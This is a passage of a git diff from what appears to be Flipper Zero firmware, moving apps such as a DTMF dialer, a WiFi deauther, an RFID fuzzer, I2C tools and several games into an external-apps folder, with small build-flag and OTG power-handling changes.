a/applications/plugins/dtmf_dolphin/dtmf_dolphin_audio.c b/applications/external/dtmf_dolphin/dtmf_dolphin_audio.c similarity index 100% rename from applications/plugins/dtmf_dolphin/dtmf_dolphin_audio.c rename to applications/external/dtmf_dolphin/dtmf_dolphin_audio.c diff --git a/applications/plugins/dtmf_dolphin/dtmf_dolphin_audio.h b/applications/external/dtmf_dolphin/dtmf_dolphin_audio.h similarity index 100% rename from applications/plugins/dtmf_dolphin/dtmf_dolphin_audio.h rename to applications/external/dtmf_dolphin/dtmf_dolphin_audio.h diff --git a/applications/plugins/dtmf_dolphin/dtmf_dolphin_data.c b/applications/external/dtmf_dolphin/dtmf_dolphin_data.c similarity index 100% rename from applications/plugins/dtmf_dolphin/dtmf_dolphin_data.c rename to applications/external/dtmf_dolphin/dtmf_dolphin_data.c diff --git a/applications/plugins/dtmf_dolphin/dtmf_dolphin_data.h b/applications/external/dtmf_dolphin/dtmf_dolphin_data.h similarity index 100% rename from applications/plugins/dtmf_dolphin/dtmf_dolphin_data.h rename to applications/external/dtmf_dolphin/dtmf_dolphin_data.h diff --git a/applications/plugins/dtmf_dolphin/dtmf_dolphin_event.h b/applications/external/dtmf_dolphin/dtmf_dolphin_event.h similarity index 100% rename from applications/plugins/dtmf_dolphin/dtmf_dolphin_event.h rename to applications/external/dtmf_dolphin/dtmf_dolphin_event.h diff --git a/applications/plugins/dtmf_dolphin/dtmf_dolphin_hal.c b/applications/external/dtmf_dolphin/dtmf_dolphin_hal.c similarity index 100% rename from applications/plugins/dtmf_dolphin/dtmf_dolphin_hal.c rename to applications/external/dtmf_dolphin/dtmf_dolphin_hal.c diff --git a/applications/plugins/dtmf_dolphin/dtmf_dolphin_hal.h b/applications/external/dtmf_dolphin/dtmf_dolphin_hal.h similarity index 100% rename from applications/plugins/dtmf_dolphin/dtmf_dolphin_hal.h rename to applications/external/dtmf_dolphin/dtmf_dolphin_hal.h diff --git a/applications/plugins/dtmf_dolphin/dtmf_dolphin_i.h b/applications/external/dtmf_dolphin/dtmf_dolphin_i.h similarity index 100% rename from applications/plugins/dtmf_dolphin/dtmf_dolphin_i.h rename to applications/external/dtmf_dolphin/dtmf_dolphin_i.h diff --git a/applications/plugins/dtmf_dolphin/phone.png b/applications/external/dtmf_dolphin/phone.png similarity index 100% rename from applications/plugins/dtmf_dolphin/phone.png rename to applications/external/dtmf_dolphin/phone.png diff --git a/applications/plugins/dtmf_dolphin/scenes/dtmf_dolphin_scene.c b/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene.c similarity index 100% rename from applications/plugins/dtmf_dolphin/scenes/dtmf_dolphin_scene.c rename to applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene.c diff --git a/applications/plugins/dtmf_dolphin/scenes/dtmf_dolphin_scene.h b/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene.h similarity index 100% rename from applications/plugins/dtmf_dolphin/scenes/dtmf_dolphin_scene.h rename to applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene.h diff --git a/applications/plugins/dtmf_dolphin/scenes/dtmf_dolphin_scene_config.h b/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_config.h similarity index 100% rename from applications/plugins/dtmf_dolphin/scenes/dtmf_dolphin_scene_config.h rename to applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_config.h diff --git a/applications/plugins/dtmf_dolphin/scenes/dtmf_dolphin_scene_dialer.c b/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_dialer.c similarity index 100% rename from applications/plugins/dtmf_dolphin/scenes/dtmf_dolphin_scene_dialer.c rename to applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_dialer.c diff --git a/applications/plugins/dtmf_dolphin/scenes/dtmf_dolphin_scene_start.c b/applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_start.c similarity index 100% rename from applications/plugins/dtmf_dolphin/scenes/dtmf_dolphin_scene_start.c rename to applications/external/dtmf_dolphin/scenes/dtmf_dolphin_scene_start.c diff --git a/applications/plugins/dtmf_dolphin/views/dtmf_dolphin_common.h b/applications/external/dtmf_dolphin/views/dtmf_dolphin_common.h similarity index 100% rename from applications/plugins/dtmf_dolphin/views/dtmf_dolphin_common.h rename to applications/external/dtmf_dolphin/views/dtmf_dolphin_common.h diff --git a/applications/plugins/dtmf_dolphin/views/dtmf_dolphin_dialer.c b/applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.c similarity index 100% rename from applications/plugins/dtmf_dolphin/views/dtmf_dolphin_dialer.c rename to applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.c diff --git a/applications/plugins/dtmf_dolphin/views/dtmf_dolphin_dialer.h b/applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.h similarity index 100% rename from applications/plugins/dtmf_dolphin/views/dtmf_dolphin_dialer.h rename to applications/external/dtmf_dolphin/views/dtmf_dolphin_dialer.h diff --git a/applications/plugins/esp8266_deauth/FlipperZeroWiFiDeauthModuleDefines.h b/applications/external/esp8266_deauth/FlipperZeroWiFiDeauthModuleDefines.h similarity index 100% rename from applications/plugins/esp8266_deauth/FlipperZeroWiFiDeauthModuleDefines.h rename to applications/external/esp8266_deauth/FlipperZeroWiFiDeauthModuleDefines.h diff --git a/applications/plugins/esp8266_deauth/application.fam b/applications/external/esp8266_deauth/application.fam similarity index 87% rename from applications/plugins/esp8266_deauth/application.fam rename to applications/external/esp8266_deauth/application.fam index b289bc88e..7718e1458 100644 --- a/applications/plugins/esp8266_deauth/application.fam +++ b/applications/external/esp8266_deauth/application.fam @@ -3,7 +3,6 @@ App( name="[ESP8266] Deauther", apptype=FlipperAppType.EXTERNAL, entry_point="esp8266_deauth_app", - cdefines=["APP_ESP8266_deauth"], requires=["gui"], stack_size=2 * 1024, order=20, diff --git a/applications/plugins/esp8266_deauth/esp8266_deauth.c b/applications/external/esp8266_deauth/esp8266_deauth.c similarity index 97% rename from applications/plugins/esp8266_deauth/esp8266_deauth.c rename to applications/external/esp8266_deauth/esp8266_deauth.c index d32ca4c18..3bf11928f 100644 --- a/applications/plugins/esp8266_deauth/esp8266_deauth.c +++ b/applications/external/esp8266_deauth/esp8266_deauth.c @@ -6,6 +6,7 @@ #include #include #include +#include //#include //#include //#include @@ -328,6 +329,7 @@ int32_t esp8266_deauth_app(void* p) { SWiFiDeauthApp* app = malloc(sizeof(SWiFiDeauthApp)); + DOLPHIN_DEED(DolphinDeedPluginStart); esp8266_deauth_app_init(app); furi_hal_gpio_init_simple(app->m_GpioButtons.pinButtonUp, GpioModeOutputPushPull); @@ -352,7 +354,12 @@ int32_t esp8266_deauth_app(void* p) { #else #if ENABLE_MODULE_POWER app->m_context = Initializing; - furi_hal_power_enable_otg(); + uint8_t attempts = 0; + while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) { + furi_hal_power_enable_otg(); + furi_delay_ms(10); + } + furi_delay_ms(200); #else app->m_context = ModuleActive; #endif @@ -409,7 +416,11 @@ int32_t esp8266_deauth_app(void* p) { app->m_wifiDeauthModuleAttached = true; #if ENABLE_MODULE_POWER app->m_context = Initializing; - furi_hal_power_enable_otg(); + uint8_t attempts2 = 0; + while(!furi_hal_power_is_otg_enabled() && attempts2++ < 3) { + furi_hal_power_enable_otg(); + furi_delay_ms(10); + } #else app->m_context = ModuleActive; #endif @@ -533,7 +544,9 @@ int32_t esp8266_deauth_app(void* p) { DEAUTH_APP_LOG_I("App freed"); #if ENABLE_MODULE_POWER - furi_hal_power_disable_otg(); + if(furi_hal_power_is_otg_enabled()) { + furi_hal_power_disable_otg(); + } #endif return 0; diff --git a/applications/plugins/esp8266_deauth/wifi_10px.png b/applications/external/esp8266_deauth/wifi_10px.png similarity index 100% rename from applications/plugins/esp8266_deauth/wifi_10px.png rename to applications/external/esp8266_deauth/wifi_10px.png diff --git a/applications/plugins/flappy_bird/application.fam b/applications/external/flappy_bird/application.fam similarity index 89% rename from applications/plugins/flappy_bird/application.fam rename to applications/external/flappy_bird/application.fam index 0912178ca..f9fe85fa2 100644 --- a/applications/plugins/flappy_bird/application.fam +++ b/applications/external/flappy_bird/application.fam @@ -3,7 +3,6 @@ App( name="Flappy Bird", apptype=FlipperAppType.EXTERNAL, entry_point="flappy_game_app", - cdefines=["APP_FLAPPY_GAME"], requires=["gui"], stack_size=4 * 1024, order=100, diff --git a/applications/plugins/flappy_bird/assets/bird/frame_01.png b/applications/external/flappy_bird/assets/bird/frame_01.png similarity index 100% rename from applications/plugins/flappy_bird/assets/bird/frame_01.png rename to applications/external/flappy_bird/assets/bird/frame_01.png diff --git a/applications/plugins/flappy_bird/assets/bird/frame_02.png b/applications/external/flappy_bird/assets/bird/frame_02.png similarity index 100% rename from applications/plugins/flappy_bird/assets/bird/frame_02.png rename to applications/external/flappy_bird/assets/bird/frame_02.png diff --git a/applications/plugins/flappy_bird/assets/bird/frame_03.png b/applications/external/flappy_bird/assets/bird/frame_03.png similarity index 100% rename from applications/plugins/flappy_bird/assets/bird/frame_03.png rename to applications/external/flappy_bird/assets/bird/frame_03.png diff --git a/applications/plugins/flappy_bird/assets/bird/frame_rate b/applications/external/flappy_bird/assets/bird/frame_rate similarity index 100% rename from applications/plugins/flappy_bird/assets/bird/frame_rate rename to applications/external/flappy_bird/assets/bird/frame_rate diff --git a/applications/plugins/flappy_bird/flappy_10px.png b/applications/external/flappy_bird/flappy_10px.png similarity index 100% rename from applications/plugins/flappy_bird/flappy_10px.png rename to applications/external/flappy_bird/flappy_10px.png diff --git a/applications/plugins/flappy_bird/flappy_bird.c b/applications/external/flappy_bird/flappy_bird.c similarity index 100% rename from applications/plugins/flappy_bird/flappy_bird.c rename to applications/external/flappy_bird/flappy_bird.c diff --git a/applications/plugins/flashlight/LICENSE b/applications/external/flashlight/LICENSE similarity index 100% rename from applications/plugins/flashlight/LICENSE rename to applications/external/flashlight/LICENSE diff --git a/applications/plugins/flashlight/application.fam b/applications/external/flashlight/application.fam similarity index 100% rename from applications/plugins/flashlight/application.fam rename to applications/external/flashlight/application.fam diff --git a/applications/plugins/flashlight/flash10px.png b/applications/external/flashlight/flash10px.png similarity index 100% rename from applications/plugins/flashlight/flash10px.png rename to applications/external/flashlight/flash10px.png diff --git a/applications/plugins/flashlight/flashlight.c b/applications/external/flashlight/flashlight.c similarity index 100% rename from applications/plugins/flashlight/flashlight.c rename to applications/external/flashlight/flashlight.c diff --git a/applications/plugins/flipfrid/LICENSE.md b/applications/external/flipfrid/LICENSE.md similarity index 100% rename from applications/plugins/flipfrid/LICENSE.md rename to applications/external/flipfrid/LICENSE.md diff --git a/applications/plugins/flipfrid/application.fam b/applications/external/flipfrid/application.fam similarity index 90% rename from applications/plugins/flipfrid/application.fam rename to applications/external/flipfrid/application.fam index fc089de48..e2482e0d1 100644 --- a/applications/plugins/flipfrid/application.fam +++ b/applications/external/flipfrid/application.fam @@ -3,7 +3,6 @@ App( name="RFID Fuzzer", apptype=FlipperAppType.EXTERNAL, entry_point="flipfrid_start", - cdefines=["APP_FLIP_FRID"], requires=["gui", "storage", "dialogs", "input", "notification"], stack_size=1 * 1024, order=180, diff --git a/applications/plugins/flipfrid/flipfrid.c b/applications/external/flipfrid/flipfrid.c similarity index 99% rename from applications/plugins/flipfrid/flipfrid.c rename to applications/external/flipfrid/flipfrid.c index 4f28be7b1..ff52ab160 100644 --- a/applications/plugins/flipfrid/flipfrid.c +++ b/applications/external/flipfrid/flipfrid.c @@ -5,6 +5,7 @@ #include "scene/flipfrid_scene_select_field.h" #include "scene/flipfrid_scene_run_attack.h" #include "scene/flipfrid_scene_load_custom_uids.h" +#include #define RFIDFUZZER_APP_FOLDER "/ext/lrfid/rfidfuzzer" @@ -117,6 +118,7 @@ int32_t flipfrid_start(void* p) { FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(FlipFridEvent)); FlipFridState* flipfrid_state = flipfrid_alloc(); + DOLPHIN_DEED(DolphinDeedPluginStart); flipfrid_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); if(!flipfrid_state->mutex) { FURI_LOG_E(TAG, "cannot create mutex\r\n"); @@ -268,4 +270,4 @@ int32_t flipfrid_start(void* p) { flipfrid_free(flipfrid_state); return 0; -} \ No newline at end of file +} diff --git a/applications/plugins/flipfrid/flipfrid.h b/applications/external/flipfrid/flipfrid.h similarity index 100% rename from applications/plugins/flipfrid/flipfrid.h rename to applications/external/flipfrid/flipfrid.h diff --git a/applications/plugins/flipfrid/images/125_10px.png b/applications/external/flipfrid/images/125_10px.png similarity index 100% rename from applications/plugins/flipfrid/images/125_10px.png rename to applications/external/flipfrid/images/125_10px.png diff --git a/applications/plugins/flipfrid/rfid_10px.png b/applications/external/flipfrid/rfid_10px.png similarity index 100% rename from applications/plugins/flipfrid/rfid_10px.png rename to applications/external/flipfrid/rfid_10px.png diff --git a/applications/plugins/flipfrid/scene/flipfrid_scene_entrypoint.c b/applications/external/flipfrid/scene/flipfrid_scene_entrypoint.c similarity index 100% rename from applications/plugins/flipfrid/scene/flipfrid_scene_entrypoint.c rename to applications/external/flipfrid/scene/flipfrid_scene_entrypoint.c diff --git a/applications/plugins/flipfrid/scene/flipfrid_scene_entrypoint.h b/applications/external/flipfrid/scene/flipfrid_scene_entrypoint.h similarity index 100% rename from applications/plugins/flipfrid/scene/flipfrid_scene_entrypoint.h rename to applications/external/flipfrid/scene/flipfrid_scene_entrypoint.h diff --git a/applications/plugins/flipfrid/scene/flipfrid_scene_load_custom_uids.c b/applications/external/flipfrid/scene/flipfrid_scene_load_custom_uids.c similarity index 100% rename from applications/plugins/flipfrid/scene/flipfrid_scene_load_custom_uids.c rename to applications/external/flipfrid/scene/flipfrid_scene_load_custom_uids.c diff --git a/applications/plugins/flipfrid/scene/flipfrid_scene_load_custom_uids.h b/applications/external/flipfrid/scene/flipfrid_scene_load_custom_uids.h similarity index 100% rename from applications/plugins/flipfrid/scene/flipfrid_scene_load_custom_uids.h rename to applications/external/flipfrid/scene/flipfrid_scene_load_custom_uids.h diff --git a/applications/plugins/flipfrid/scene/flipfrid_scene_load_file.c b/applications/external/flipfrid/scene/flipfrid_scene_load_file.c similarity index 100% rename from applications/plugins/flipfrid/scene/flipfrid_scene_load_file.c rename to applications/external/flipfrid/scene/flipfrid_scene_load_file.c diff --git a/applications/plugins/flipfrid/scene/flipfrid_scene_load_file.h b/applications/external/flipfrid/scene/flipfrid_scene_load_file.h similarity index 100% rename from applications/plugins/flipfrid/scene/flipfrid_scene_load_file.h rename to applications/external/flipfrid/scene/flipfrid_scene_load_file.h diff --git a/applications/plugins/flipfrid/scene/flipfrid_scene_run_attack.c b/applications/external/flipfrid/scene/flipfrid_scene_run_attack.c similarity index 100% rename from applications/plugins/flipfrid/scene/flipfrid_scene_run_attack.c rename to applications/external/flipfrid/scene/flipfrid_scene_run_attack.c diff --git a/applications/plugins/flipfrid/scene/flipfrid_scene_run_attack.h b/applications/external/flipfrid/scene/flipfrid_scene_run_attack.h similarity index 100% rename from applications/plugins/flipfrid/scene/flipfrid_scene_run_attack.h rename to applications/external/flipfrid/scene/flipfrid_scene_run_attack.h diff --git a/applications/plugins/flipfrid/scene/flipfrid_scene_select_field.c b/applications/external/flipfrid/scene/flipfrid_scene_select_field.c similarity index 100% rename from applications/plugins/flipfrid/scene/flipfrid_scene_select_field.c rename to applications/external/flipfrid/scene/flipfrid_scene_select_field.c diff --git a/applications/plugins/flipfrid/scene/flipfrid_scene_select_field.h b/applications/external/flipfrid/scene/flipfrid_scene_select_field.h similarity index 100% rename from applications/plugins/flipfrid/scene/flipfrid_scene_select_field.h rename to applications/external/flipfrid/scene/flipfrid_scene_select_field.h diff --git a/applications/plugins/flipper_i2ctools/application.fam b/applications/external/flipper_i2ctools/application.fam similarity index 89% rename from applications/plugins/flipper_i2ctools/application.fam rename to applications/external/flipper_i2ctools/application.fam index 44138691d..3090244b5 100644 --- a/applications/plugins/flipper_i2ctools/application.fam +++ b/applications/external/flipper_i2ctools/application.fam @@ -3,7 +3,6 @@ App( name="[GPIO] i2c Tools", apptype=FlipperAppType.EXTERNAL, entry_point="i2ctools_app", - cdefines=["APP_I2CTOOLS"], requires=["gui"], stack_size=2 * 1024, order=175, diff --git a/applications/plugins/flipper_i2ctools/i2cscanner.c b/applications/external/flipper_i2ctools/i2cscanner.c similarity index 100% rename from applications/plugins/flipper_i2ctools/i2cscanner.c rename to applications/external/flipper_i2ctools/i2cscanner.c diff --git a/applications/plugins/flipper_i2ctools/i2cscanner.h b/applications/external/flipper_i2ctools/i2cscanner.h similarity index 100% rename from applications/plugins/flipper_i2ctools/i2cscanner.h rename to applications/external/flipper_i2ctools/i2cscanner.h diff --git a/applications/plugins/flipper_i2ctools/i2csender.c b/applications/external/flipper_i2ctools/i2csender.c similarity index 100% rename from applications/plugins/flipper_i2ctools/i2csender.c rename to applications/external/flipper_i2ctools/i2csender.c diff --git a/applications/plugins/flipper_i2ctools/i2csender.h b/applications/external/flipper_i2ctools/i2csender.h similarity index 100% rename from applications/plugins/flipper_i2ctools/i2csender.h rename to applications/external/flipper_i2ctools/i2csender.h diff --git a/applications/plugins/flipper_i2ctools/i2csniffer.c b/applications/external/flipper_i2ctools/i2csniffer.c similarity index 100% rename from applications/plugins/flipper_i2ctools/i2csniffer.c rename to applications/external/flipper_i2ctools/i2csniffer.c diff --git a/applications/plugins/flipper_i2ctools/i2csniffer.h b/applications/external/flipper_i2ctools/i2csniffer.h similarity index 100% rename from applications/plugins/flipper_i2ctools/i2csniffer.h rename to applications/external/flipper_i2ctools/i2csniffer.h diff --git a/applications/plugins/flipper_i2ctools/i2ctools.c b/applications/external/flipper_i2ctools/i2ctools.c similarity index 100% rename from applications/plugins/flipper_i2ctools/i2ctools.c rename to applications/external/flipper_i2ctools/i2ctools.c diff --git a/applications/plugins/flipper_i2ctools/i2ctools.png b/applications/external/flipper_i2ctools/i2ctools.png similarity index 100% rename from applications/plugins/flipper_i2ctools/i2ctools.png rename to applications/external/flipper_i2ctools/i2ctools.png diff --git a/applications/plugins/flipper_i2ctools/i2ctools_i.h b/applications/external/flipper_i2ctools/i2ctools_i.h similarity index 100% rename from applications/plugins/flipper_i2ctools/i2ctools_i.h rename to applications/external/flipper_i2ctools/i2ctools_i.h diff --git a/applications/plugins/flipper_i2ctools/images/ButtonDown_7x4.png b/applications/external/flipper_i2ctools/images/ButtonDown_7x4.png similarity index 100% rename from applications/plugins/flipper_i2ctools/images/ButtonDown_7x4.png rename to applications/external/flipper_i2ctools/images/ButtonDown_7x4.png diff --git a/applications/plugins/flipper_i2ctools/images/ButtonLeft_4x7.png b/applications/external/flipper_i2ctools/images/ButtonLeft_4x7.png similarity index 100% rename from applications/plugins/flipper_i2ctools/images/ButtonLeft_4x7.png rename to applications/external/flipper_i2ctools/images/ButtonLeft_4x7.png diff --git a/applications/plugins/flipper_i2ctools/images/ButtonRight_4x7.png b/applications/external/flipper_i2ctools/images/ButtonRight_4x7.png similarity index 100% rename from applications/plugins/flipper_i2ctools/images/ButtonRight_4x7.png rename to applications/external/flipper_i2ctools/images/ButtonRight_4x7.png diff --git a/applications/plugins/flipper_i2ctools/images/ButtonUp_7x4.png b/applications/external/flipper_i2ctools/images/ButtonUp_7x4.png similarity index 100% rename from applications/plugins/flipper_i2ctools/images/ButtonUp_7x4.png rename to applications/external/flipper_i2ctools/images/ButtonUp_7x4.png diff --git a/applications/plugins/flipper_i2ctools/images/Ok_btn_9x9.png b/applications/external/flipper_i2ctools/images/Ok_btn_9x9.png similarity index 100% rename from applications/plugins/flipper_i2ctools/images/Ok_btn_9x9.png rename to applications/external/flipper_i2ctools/images/Ok_btn_9x9.png diff --git a/applications/plugins/flipper_i2ctools/images/i2ctools_main_76x59.png b/applications/external/flipper_i2ctools/images/i2ctools_main_76x59.png similarity index 100% rename from applications/plugins/flipper_i2ctools/images/i2ctools_main_76x59.png rename to applications/external/flipper_i2ctools/images/i2ctools_main_76x59.png diff --git a/applications/plugins/flipper_i2ctools/views/main_view.c b/applications/external/flipper_i2ctools/views/main_view.c similarity index 100% rename from applications/plugins/flipper_i2ctools/views/main_view.c rename to applications/external/flipper_i2ctools/views/main_view.c diff --git a/applications/plugins/flipper_i2ctools/views/main_view.h b/applications/external/flipper_i2ctools/views/main_view.h similarity index 100% rename from applications/plugins/flipper_i2ctools/views/main_view.h rename to applications/external/flipper_i2ctools/views/main_view.h diff --git a/applications/plugins/flipper_i2ctools/views/scanner_view.c b/applications/external/flipper_i2ctools/views/scanner_view.c similarity index 100% rename from applications/plugins/flipper_i2ctools/views/scanner_view.c rename to applications/external/flipper_i2ctools/views/scanner_view.c diff --git a/applications/plugins/flipper_i2ctools/views/scanner_view.h b/applications/external/flipper_i2ctools/views/scanner_view.h similarity index 100% rename from applications/plugins/flipper_i2ctools/views/scanner_view.h rename to applications/external/flipper_i2ctools/views/scanner_view.h diff --git a/applications/plugins/flipper_i2ctools/views/sender_view.c b/applications/external/flipper_i2ctools/views/sender_view.c similarity index 100% rename from applications/plugins/flipper_i2ctools/views/sender_view.c rename to applications/external/flipper_i2ctools/views/sender_view.c diff --git a/applications/plugins/flipper_i2ctools/views/sender_view.h b/applications/external/flipper_i2ctools/views/sender_view.h similarity index 100% rename from applications/plugins/flipper_i2ctools/views/sender_view.h rename to applications/external/flipper_i2ctools/views/sender_view.h diff --git a/applications/plugins/flipper_i2ctools/views/sniffer_view.c b/applications/external/flipper_i2ctools/views/sniffer_view.c similarity index 100% rename from applications/plugins/flipper_i2ctools/views/sniffer_view.c rename to applications/external/flipper_i2ctools/views/sniffer_view.c diff --git a/applications/plugins/flipper_i2ctools/views/sniffer_view.h b/applications/external/flipper_i2ctools/views/sniffer_view.h similarity index 100% rename from applications/plugins/flipper_i2ctools/views/sniffer_view.h rename to applications/external/flipper_i2ctools/views/sniffer_view.h diff --git a/applications/plugins/game15/application.fam b/applications/external/game15/application.fam similarity index 88% rename from applications/plugins/game15/application.fam rename to applications/external/game15/application.fam index ab00316c1..969cb536a 100644 --- a/applications/plugins/game15/application.fam +++ b/applications/external/game15/application.fam @@ -3,7 +3,6 @@ App( name="Game 15", apptype=FlipperAppType.EXTERNAL, entry_point="game15_app", - cdefines=["APP_GAME15"], requires=["gui"], stack_size=1 * 1024, fap_icon="game15_10px.png", diff --git a/applications/plugins/game15/game15.c b/applications/external/game15/game15.c similarity index 100% rename from applications/plugins/game15/game15.c rename to applications/external/game15/game15.c diff --git a/applications/plugins/game15/game15_10px.png b/applications/external/game15/game15_10px.png similarity index 100% rename from applications/plugins/game15/game15_10px.png rename to applications/external/game15/game15_10px.png diff --git a/applications/plugins/game15/images/Game15.png b/applications/external/game15/images/Game15.png similarity index 100% rename from applications/plugins/game15/images/Game15.png rename to applications/external/game15/images/Game15.png diff --git a/applications/plugins/game15/images/Game15Popup.png b/applications/external/game15/images/Game15Popup.png similarity index 100% rename from applications/plugins/game15/images/Game15Popup.png rename to applications/external/game15/images/Game15Popup.png diff --git a/applications/plugins/game15/images/Game15Restore.png b/applications/external/game15/images/Game15Restore.png similarity index 100% rename from applications/plugins/game15/images/Game15Restore.png rename to applications/external/game15/images/Game15Restore.png diff --git a/applications/plugins/game15/sandbox.c b/applications/external/game15/sandbox.c similarity index 100% rename from applications/plugins/game15/sandbox.c rename to applications/external/game15/sandbox.c diff --git a/applications/plugins/game15/sandbox.h b/applications/external/game15/sandbox.h similarity index 100% rename from applications/plugins/game15/sandbox.h rename to applications/external/game15/sandbox.h diff --git a/applications/plugins/game_2048/LICENSE b/applications/external/game_2048/LICENSE similarity index 100% rename from applications/plugins/game_2048/LICENSE rename to applications/external/game_2048/LICENSE diff --git a/applications/plugins/game_2048/application.fam b/applications/external/game_2048/application.fam similarity index 89% rename from applications/plugins/game_2048/application.fam rename to applications/external/game_2048/application.fam index 0440d0864..89210ca23 100644 --- a/applications/plugins/game_2048/application.fam +++ b/applications/external/game_2048/application.fam @@ -4,7 +4,6 @@ App( name="2048", apptype=FlipperAppType.EXTERNAL, entry_point="game_2048_app", - cdefines=["APP_GAME_2048"], requires=[ "gui", ], diff --git a/applications/plugins/game_2048/array_utils.c b/applications/external/game_2048/array_utils.c similarity index 100% rename from applications/plugins/game_2048/array_utils.c rename to applications/external/game_2048/array_utils.c diff --git a/applications/plugins/game_2048/array_utils.h b/applications/external/game_2048/array_utils.h similarity index 100% rename from applications/plugins/game_2048/array_utils.h rename to applications/external/game_2048/array_utils.h diff --git a/applications/plugins/game_2048/digits.h b/applications/external/game_2048/digits.h similarity index 100% rename from applications/plugins/game_2048/digits.h rename to applications/external/game_2048/digits.h diff --git a/applications/plugins/game_2048/game_2048.c b/applications/external/game_2048/game_2048.c similarity index 100% rename from applications/plugins/game_2048/game_2048.c rename to applications/external/game_2048/game_2048.c diff --git a/applications/plugins/game_2048/game_2048.png b/applications/external/game_2048/game_2048.png similarity index 100% rename from applications/plugins/game_2048/game_2048.png rename to applications/external/game_2048/game_2048.png diff --git a/applications/plugins/game_of_life/application.fam b/applications/external/game_of_life/application.fam similarity index 100% rename from applications/plugins/game_of_life/application.fam rename to applications/external/game_of_life/application.fam diff --git a/applications/plugins/game_of_life/game_of_life.c b/applications/external/game_of_life/game_of_life.c similarity index 100% rename from applications/plugins/game_of_life/game_of_life.c rename to applications/external/game_of_life/game_of_life.c diff --git a/applications/plugins/game_of_life/golIcon.png b/applications/external/game_of_life/golIcon.png similarity index 100% rename from applications/plugins/game_of_life/golIcon.png rename to applications/external/game_of_life/golIcon.png diff --git a/applications/plugins/geigercounter/application.fam b/applications/external/geiger/application.fam similarity index 100% rename from applications/plugins/geigercounter/application.fam rename to applications/external/geiger/application.fam diff --git a/applications/plugins/geigercounter/flipper_geiger.c b/applications/external/geiger/flipper_geiger.c similarity index 100% rename from applications/plugins/geigercounter/flipper_geiger.c rename to applications/external/geiger/flipper_geiger.c diff --git a/applications/plugins/geigercounter/geiger.png b/applications/external/geiger/geiger.png similarity index 100% rename from applications/plugins/geigercounter/geiger.png rename to applications/external/geiger/geiger.png diff --git a/applications/plugins/gpio_reader_a/GPIO_reader.c b/applications/external/gpio_reader_a/GPIO_reader.c similarity index 100% rename from applications/plugins/gpio_reader_a/GPIO_reader.c rename to applications/external/gpio_reader_a/GPIO_reader.c diff --git a/applications/plugins/gpio_reader_a/GPIO_reader_item.c b/applications/external/gpio_reader_a/GPIO_reader_item.c similarity index 100% rename from applications/plugins/gpio_reader_a/GPIO_reader_item.c rename to applications/external/gpio_reader_a/GPIO_reader_item.c diff --git a/applications/plugins/gpio_reader_a/GPIO_reader_item.h b/applications/external/gpio_reader_a/GPIO_reader_item.h similarity index 100% rename from applications/plugins/gpio_reader_a/GPIO_reader_item.h rename to applications/external/gpio_reader_a/GPIO_reader_item.h diff --git a/applications/plugins/gpio_reader_a/application.fam b/applications/external/gpio_reader_a/application.fam similarity index 100% rename from applications/plugins/gpio_reader_a/application.fam rename to applications/external/gpio_reader_a/application.fam diff --git a/applications/plugins/gpio_reader_a/icon.png b/applications/external/gpio_reader_a/icon.png similarity index 100% rename from applications/plugins/gpio_reader_a/icon.png rename to applications/external/gpio_reader_a/icon.png diff --git a/applications/plugins/gpio_reader_b/LICENSE b/applications/external/gpio_reader_b/LICENSE similarity index 100% rename from applications/plugins/gpio_reader_b/LICENSE rename to applications/external/gpio_reader_b/LICENSE diff --git a/applications/plugins/gpio_reader_b/application.fam b/applications/external/gpio_reader_b/application.fam similarity index 100% rename from applications/plugins/gpio_reader_b/application.fam rename to applications/external/gpio_reader_b/application.fam diff --git a/applications/plugins/gpio_reader_b/gpio_app.c b/applications/external/gpio_reader_b/gpio_app.c similarity index 100% rename from applications/plugins/gpio_reader_b/gpio_app.c rename to applications/external/gpio_reader_b/gpio_app.c diff --git a/applications/plugins/gpio_reader_b/gpio_app.h b/applications/external/gpio_reader_b/gpio_app.h similarity index 100% rename from applications/plugins/gpio_reader_b/gpio_app.h rename to applications/external/gpio_reader_b/gpio_app.h diff --git a/applications/plugins/gpio_reader_b/gpio_app_i.h b/applications/external/gpio_reader_b/gpio_app_i.h similarity index 100% rename from applications/plugins/gpio_reader_b/gpio_app_i.h rename to applications/external/gpio_reader_b/gpio_app_i.h diff --git a/applications/plugins/gpio_reader_b/gpio_custom_event.h b/applications/external/gpio_reader_b/gpio_custom_event.h similarity index 100% rename from applications/plugins/gpio_reader_b/gpio_custom_event.h rename to applications/external/gpio_reader_b/gpio_custom_event.h diff --git a/applications/plugins/gpio_reader_b/gpio_item.c b/applications/external/gpio_reader_b/gpio_item.c similarity index 100% rename from applications/plugins/gpio_reader_b/gpio_item.c rename to applications/external/gpio_reader_b/gpio_item.c diff --git a/applications/plugins/gpio_reader_b/gpio_item.h b/applications/external/gpio_reader_b/gpio_item.h similarity index 100% rename from applications/plugins/gpio_reader_b/gpio_item.h rename to applications/external/gpio_reader_b/gpio_item.h diff --git a/applications/plugins/gpio_reader_b/icon.png b/applications/external/gpio_reader_b/icon.png similarity index 100% rename from applications/plugins/gpio_reader_b/icon.png rename to applications/external/gpio_reader_b/icon.png diff --git a/applications/plugins/gpio_reader_b/scenes/gpio_scene.c b/applications/external/gpio_reader_b/scenes/gpio_scene.c similarity index 100% rename from applications/plugins/gpio_reader_b/scenes/gpio_scene.c rename to applications/external/gpio_reader_b/scenes/gpio_scene.c diff --git a/applications/plugins/gpio_reader_b/scenes/gpio_scene.h b/applications/external/gpio_reader_b/scenes/gpio_scene.h similarity index 100% rename from applications/plugins/gpio_reader_b/scenes/gpio_scene.h rename to applications/external/gpio_reader_b/scenes/gpio_scene.h diff --git a/applications/plugins/gpio_reader_b/scenes/gpio_scene_config.h b/applications/external/gpio_reader_b/scenes/gpio_scene_config.h similarity index 100% rename from 